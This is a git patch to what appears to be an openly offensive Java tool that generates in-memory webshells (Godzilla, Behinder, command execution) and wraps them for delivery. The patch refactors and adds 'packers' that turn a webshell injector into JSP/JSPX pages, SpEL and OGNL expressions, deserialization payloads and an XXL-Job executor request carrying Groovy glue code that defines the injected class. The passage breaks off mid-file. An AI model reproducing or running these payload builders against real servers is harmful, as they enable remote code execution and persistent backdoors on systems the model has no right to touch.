From ebfa661b66d637d36ea6b8973f0f23450ea015d4 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 27 Jan 2025 17:02:32 +0800 Subject: [PATCH] feat: support multi payload generate --- README.md | 15 +- .../boot/controller/ConfigController.java | 13 +- .../boot/controller/GeneratorController.java | 15 +- .../javaweb/boot/dto/GenerateResponse.java | 17 ++- .../memshell/packer/AggregatePacker.java | 45 ++++++ .../javaweb/memshell/packer/JarPacker.java | 8 -- .../javaweb/memshell/packer/Packer.java | 11 +- .../javaweb/memshell/packer/Packers.java | 50 +++++-- .../memshell/packer/XxlJob230Packer.java | 47 ------- .../memshell/packer/base64/Base64Packer.java | 10 ++ .../DefaultBase64Packer.java} | 5 +- .../GzipBase64Packer.java} | 5 +- .../{ => deserialize}/DeserializePacker.java | 3 +- .../memshell/packer/{ => el}/ELPacker.java | 4 +- .../{ => freemarker}/FreemarkerPacker.java | 4 +- .../packer/{ => jar}/AgentJarPacker.java | 2 +- .../DefaultJarPacker.java} | 4 +- .../memshell/packer/jar/JarPacker.java | 18 +++ .../DefalutJspPacker.java} | 8 +- .../memshell/packer/jsp/JspPacker.java | 10 ++ .../memshell/packer/jsp/JspxPacker.java | 34 +++++ .../packer/{ => ognl}/OGNLPacker.java | 4 +- .../ScriptEnginePacker.java | 3 +- .../memshell/packer/spel/SpELPacker.java | 10 ++ .../{ => spel}/SpELScriptEnginePacker.java | 7 +- .../SpELSpringIOUtilsGzipPacker.java | 3 +- .../SpELSpringUtilsPacker.java} | 5 +- .../packer/{ => velocity}/VelocityPacker.java | 4 +- generator/src/main/resources/shell.jsp | 1 - generator/src/main/resources/shell.jspx | 53 ++++++++ .../memshell/packer/FreemarkerPackerTest.java | 1 + .../memshell/packer/GzipBase64Test.java | 3 +- .../memshell/packer/JspPackerTest.java | 1 + .../packer/ScriptEnginePackerTest.java | 1 + .../memshell/packer/spel/SpELPackerTest.java | 27 ++++ .../tomcat/Tomcat10ContainerTest.java | 12 ++ .../tomcat/Tomcat5ContainerTest.java | 12 ++ web/src/components/code-viewer.tsx | 88 ++++++------ web/src/components/copyable-field.tsx | 22 ++- web/src/components/shell-result.tsx | 128 +++++++++++++++--- web/src/i18n/translations.ts | 2 +- web/src/routes/index.tsx | 11 +- web/src/types/shell.ts | 3 +- 43 files changed, 537 insertions(+), 192 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{Base64Packer.java => base64/DefaultBase64Packer.java} (66%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{GzipBase64.java => base64/GzipBase64Packer.java} (73%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => deserialize}/DeserializePacker.java (87%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => el}/ELPacker.java (82%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => freemarker}/FreemarkerPacker.java (81%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => jar}/AgentJarPacker.java (98%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{SimpleJarPacker.java => jar/DefaultJarPacker.java} (92%) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{JspPacker.java => jsp/DefalutJspPacker.java} (82%) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => ognl}/OGNLPacker.java (82%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => scriptengine}/ScriptEnginePacker.java (91%) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => spel}/SpELScriptEnginePacker.java (63%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => spel}/SpELSpringIOUtilsGzipPacker.java (90%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{SpELSpringUtilPacker.java => spel/SpELSpringUtilsPacker.java} (79%) rename generator/src/main/java/com/reajason/javaweb/memshell/packer/{ => velocity}/VelocityPacker.java (82%) create mode 100644 generator/src/main/resources/shell.jspx create mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java diff --git a/README.md b/README.md index 958ba3b0..15d63dc6 100644 --- a/README.md +++ b/README.md @@ -93,24 +93,29 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh ### 内存马功能 -- [x] 哥斯拉 -- [x] 冰蝎 +- [x] Godzilla 哥斯拉 +- [x] Behinder 冰蝎 - [x] 命令执行 +- [ ] AntSword 蚁剑 - [ ] Suo5 - [ ] Neo-reGeorg - [ ] Custom ### 封装方式 -- [x] JSP -- [x] BCEL - [x] BASE64 +- [x] GZIP BASE64 +- [x] JSP +- [x] JSPX +- [x] JAR +- [x] BCEL - [x] 脚本引擎 - [x] EL、SpEL、OGNL - [x] Velocity、Freemarker - [x] 原生反序列化(CB4) +- [x] Agent +- [x] XXL-JOB Executor - [ ] JNDI -- [ ] Agent - [ ] JDBC 连接 - [ ] 其他常见反序列化 diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index c6690696..2079537c 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -10,10 +10,7 @@ import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.stream.Collectors; /** @@ -33,7 +30,7 @@ public class ConfigController { continue; } ShellTool[] supportedShellTools = ShellTool.values(); - Map> map = new HashMap<>(16); + Map> map = new LinkedHashMap<>(16); for (ShellTool shellTool : supportedShellTools) { List supportedShellTypes = shell.getSupportedShellTypes(shellTool); if (supportedShellTypes.isEmpty()) { @@ -51,7 +48,11 @@ public class ConfigController { .collect(Collectors.toList()) ); config.setCore(coreMap); - config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList()); + config.setPackers( + Arrays.stream(Packers.values()) + .filter(packers -> packers.getParentPacker() == null) + .map(Packers::name).toList() + ); return ResponseEntity.ok(config); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 4bb9e6aa..9d582507 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -7,7 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.memshell.packer.JarPacker; +import com.reajason.javaweb.memshell.packer.AggregatePacker; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.jar.JarPacker; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; @@ -27,12 +29,13 @@ public class GeneratorController { ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); - String packResult = null; - if (request.getPacker().getInstance() instanceof JarPacker) { - packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult)); + Packer packer = request.getPacker().getInstance(); + if (packer instanceof JarPacker) { + return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)))); + } else if (packer instanceof AggregatePacker) { + return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult))); } else { - packResult = request.getPacker().getInstance().pack(generateResult); + return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult))); } - return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java index 32dd0b0a..8019d807 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java @@ -1,16 +1,29 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.memshell.config.GenerateResult; -import lombok.AllArgsConstructor; import lombok.Data; +import lombok.NoArgsConstructor; + +import java.util.Map; /** * @author ReaJason * @since 2024/12/18 */ @Data -@AllArgsConstructor +@NoArgsConstructor public class GenerateResponse { private GenerateResult generateResult; private String packResult; + private Map allPackResults; + + public GenerateResponse(GenerateResult generateResult, String packResult) { + this.generateResult = generateResult; + this.packResult = packResult; + } + + public GenerateResponse(GenerateResult generateResult, Map allPackResults) { + this.allPackResults = allPackResults; + this.generateResult = generateResult; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java new file mode 100644 index 00000000..e8419973 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AggregatePacker.java @@ -0,0 +1,45 @@ +package com.reajason.javaweb.memshell.packer; + +import com.reajason.javaweb.memshell.config.GenerateResult; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * @author ReaJason + * @since 2025/1/26 + */ +public interface AggregatePacker extends Packer { + + /** + * 聚合打包当前所有分类下的 payload + * + * @param generateResult 生成结果 + * @return key -> 打包名称, value -> 打包 payload + */ + default Map packAll(GenerateResult generateResult) { + return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap( + Enum::name, + packers -> packers.getInstance().pack(generateResult), + (existing, replacement) -> existing, + LinkedHashMap::new + )); + } + + /** + * 将第一个 sub packer 作为默认输出 + * + * @param generateResult 生成的内存马信息 + * @return payload + */ + @Override + default String pack(GenerateResult generateResult) { + List packersWithParent = Packers.getPackersWithParent(this.getClass()); + if (packersWithParent.isEmpty()) { + return null; + } + return packersWithParent.get(0).getInstance().pack(generateResult); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java deleted file mode 100644 index d993363e..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java +++ /dev/null @@ -1,8 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -/** - * @author ReaJason - * @since 2025/1/1 - */ -public interface JarPacker extends Packer { -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index da83d59f..7fe9b491 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -20,13 +20,4 @@ public interface Packer { default String pack(GenerateResult generateResult) { throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成"); } - - /** - * 将生成的内存马打包成 bytes - * @param generateResult 生成的内存马信息 - * @return 字节数组 - */ - default byte[] packBytes(GenerateResult generateResult) { - throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成"); - } -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java index e5d4316f..2d8d3ff8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -1,7 +1,29 @@ package com.reajason.javaweb.memshell.packer; +import com.reajason.javaweb.memshell.packer.base64.Base64Packer; +import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; +import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; +import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker; +import com.reajason.javaweb.memshell.packer.el.ELPacker; +import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker; +import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; +import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker; +import com.reajason.javaweb.memshell.packer.jsp.JspPacker; +import com.reajason.javaweb.memshell.packer.jsp.JspxPacker; +import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; +import com.reajason.javaweb.memshell.packer.spel.SpELPacker; +import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker; +import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker; +import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker; +import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker; import lombok.Getter; +import java.util.List; +import java.util.Objects; +import java.util.stream.Stream; + /** * @author ReaJason * @since 2025/1/23 @@ -12,13 +34,10 @@ public enum Packers { * Base64 */ Base64(new Base64Packer()), + DefaultBase64(new DefaultBase64Packer(), Base64Packer.class), + GzipBase64(new GzipBase64Packer(), Base64Packer.class), - /** - * GzipBase64 - */ - GzipBase64(new GzipBase64()), - - Jar(new SimpleJarPacker()), + Jar(new DefaultJarPacker()), /** * BCEL @@ -29,6 +48,8 @@ public enum Packers { * JSP 打包器 */ JSP(new JspPacker()), + DefaultJSP(new DefalutJspPacker(), JspPacker.class), + JSPX(new JspxPacker(), JspPacker.class), /** * 脚本引擎打包器 @@ -47,7 +68,10 @@ public enum Packers { OGNL(new OGNLPacker()), - SpEL(new SpELSpringIOUtilsGzipPacker()), + SpEL(new SpELPacker()), + SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), + SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class), + SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class), Freemarker(new FreemarkerPacker()), @@ -58,12 +82,22 @@ public enum Packers { XxlJob(new XxlJobPacker()), ; private final Packer instance; + private Class parentPacker = null; Packers(Packer instance) { this.instance = instance; } - Packer getPacker(Packers packerType) { + Packers(Packer instance, Class parentPacker) { + this.instance = instance; + this.parentPacker = parentPacker; + } + + public static Packer getPacker(Packers packerType) { return null; } + + public static List getPackersWithParent(Class parentPacker) { + return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList(); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java deleted file mode 100644 index 067975a4..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -import com.alibaba.fastjson2.JSONObject; -import com.alibaba.fastjson2.JSONWriter; -import com.reajason.javaweb.memshell.config.GenerateResult; -import org.apache.commons.io.IOUtils; - -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Objects; - -/** - * @author ReaJason - * @since 2025/1/21 - */ -public class XxlJob230Packer implements Packer { - String template = ""; - - public XxlJob230Packer() { - try { - template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset()); - } catch (IOException ignored) { - - } - } - - @Override - public String pack(GenerateResult generateResult) { - String source = template - .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) - .replace("{{className}}", generateResult.getInjectorClassName()); - JSONObject jsonObject = new JSONObject(); - jsonObject.put("jobId", 1); - jsonObject.put("executorHandler", "demoJobHandler"); - jsonObject.put("executorParams", "demoJobHandler"); - jsonObject.put("executorBlockStrategy", "COVER_EARLY"); - jsonObject.put("executorTimeout", 0); - jsonObject.put("logId", 1); - jsonObject.put("logDateTime", System.currentTimeMillis()); - jsonObject.put("glueType", "GLUE_GROOVY"); - jsonObject.put("glueSource", source); - jsonObject.put("glueUpdatetime", System.currentTimeMillis()); - jsonObject.put("broadcastIndex", 0); - jsonObject.put("broadcastTotal", 0); - return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java new file mode 100644 index 00000000..06c3c197 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/Base64Packer.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.memshell.packer.base64; + +import com.reajason.javaweb.memshell.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/12/17 + */ +public class Base64Packer implements AggregatePacker { +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java similarity index 66% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java index 3d8b9a5b..8e50a99f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java @@ -1,13 +1,14 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.base64; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; import org.apache.commons.codec.binary.Base64; /** * @author ReaJason * @since 2024/12/17 */ -public class Base64Packer implements Packer { +public class DefaultBase64Packer implements Packer { @Override public String pack(GenerateResult generateResult) { return Base64.encodeBase64String(generateResult.getInjectorBytes()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/GzipBase64.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java similarity index 73% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/GzipBase64.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java index 78ac6a02..d9e82722 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/GzipBase64.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java @@ -1,6 +1,7 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.base64; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import org.apache.commons.codec.binary.Base64; @@ -9,7 +10,7 @@ import org.apache.commons.codec.binary.Base64; * @author ReaJason * @since 2025/1/22 */ -public class GzipBase64 implements Packer { +public class GzipBase64Packer implements Packer { @Override @SneakyThrows public String pack(GenerateResult generateResult) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java similarity index 87% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java index 528e61b4..883fb6e0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java @@ -1,9 +1,10 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.deserialize; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeGenerator; import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.codec.binary.Base64; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java similarity index 82% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java index 9f363036..9e355f63 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java @@ -1,6 +1,8 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.el; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java similarity index 81% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java index 8ea74aec..17396c07 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java @@ -1,6 +1,8 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.freemarker; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java index ee0d263f..91592189 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.jar; import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SimpleJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java similarity index 92% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/SimpleJarPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java index d145a4a5..347f3f11 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SimpleJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/DefaultJarPacker.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.jar; import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; @@ -12,7 +12,7 @@ import java.util.jar.Manifest; * @author ReaJason * @since 2025/1/22 */ -public class SimpleJarPacker implements JarPacker { +public class DefaultJarPacker implements JarPacker { @Override @SneakyThrows diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java new file mode 100644 index 00000000..094d08e2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/JarPacker.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.memshell.packer.jar; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; + +/** + * @author ReaJason + * @since 2025/1/1 + */ +public interface JarPacker extends Packer { + /** + * 将生成的内存马打包成 bytes + * + * @param generateResult 生成的内存马信息 + * @return 字节数组 + */ + byte[] packBytes(GenerateResult generateResult); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java similarity index 82% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java index bffdb810..b2b0f7cb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java @@ -1,6 +1,7 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.jsp; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; @@ -11,11 +12,11 @@ import java.util.Objects; * @author ReaJason * @since 2024/11/26 */ -public class JspPacker implements Packer { +public class DefalutJspPacker implements Packer { String jspTemplate = null; - public JspPacker() { + public DefalutJspPacker() { try { jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset()); } catch (Exception ignored) { @@ -23,7 +24,6 @@ public class JspPacker implements Packer { } } - @Override @SneakyThrows public String pack(GenerateResult generateResult) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java new file mode 100644 index 00000000..3596422c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.memshell.packer.jsp; + +import com.reajason.javaweb.memshell.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class JspPacker implements AggregatePacker { +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java new file mode 100644 index 00000000..4587072d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspxPacker.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.memshell.packer.jsp; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class JspxPacker implements Packer { + + String jspxTemplate = null; + + public JspxPacker() { + try { + jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset()); + } catch (Exception ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java similarity index 82% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java index 6c79998f..5c5d2c10 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java @@ -1,6 +1,8 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.ognl; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java similarity index 91% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java index 729ccaff..0d78a243 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/scriptengine/ScriptEnginePacker.java @@ -1,6 +1,7 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.scriptengine; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; import 